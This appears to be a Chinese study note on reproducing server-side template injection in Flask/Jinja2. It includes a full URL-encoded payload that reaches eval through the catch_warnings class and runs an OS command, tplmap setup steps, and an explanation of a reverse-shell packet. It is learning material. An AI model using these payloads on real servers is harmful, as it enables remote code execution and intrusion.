type
status
date
slug
summary
tags
category
icon
password
开头先贴一张ssti的各语言模板(百度的)

ssti基础
注释,语句,输出 见代码块
python2的任意文件读取代码
flask漏洞复现
源代码:
修复只需要
t = Template("Hello " + {{name}})直接拼接name导致的模板注入:
利用:测试漏洞点

试着读取类:
?name={{%20%27%27.__class__.__base__.__subclasses__()%20}}
完整payload:
?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
tplmap安装与使用
github 直接搜
需要使用python2
linux:
pip2 install -r可能会报错error: invalid command ‘egg_info‘
解决办法:
pip2 install --upgrade pip setuptools
pip2 install pwntools
之后再次运行pip2 install -r
使用语句:

反弹shell数据包:
分解这个示例,以便更详细地解释它:
这部分代码似乎是注入攻击的一部分,其中
{{2812966731}} 和 {{''}} 之间可能包含了一个漏洞点。这种注入通常会寻找模板引擎的漏洞,以插入恶意代码。这一部分设置了一个名为
d 的变量,该变量包含一个经过编码的 Python 代码。它使用 base64 解码来运行 __import__('base64').urlsafe_b64decode('...')这个部分开始迭代所有对象的子类,查找潜在的
catch_warnings 类。这一行检查迭代的类是否具有名称为
catch_warnings 的类。如果
c 是 catch_warnings 类,那么这一行将迭代 c 类的 __init__ 方法的全局变量。这一行检查全局变量
b 是否是一个空字典。这一行检查字典
b 是否包含一个名为 eval 的键。如果存在
eval 键,那么这里使用 d 中的代码执行 eval 函数,这是一个潜在的漏洞点。最后,这部分可能是为了绕过一些模板引擎的安全措施。
这个示例的主要目标是在服务器端执行恶意代码。攻击者试图利用
catch_warnings 类的漏洞,通过迭代全局变量,找到包含 eval 函数的全局变量,然后执行包含在 d 中的代码,这种漏洞利用可以导致服务器端的远程代码执行。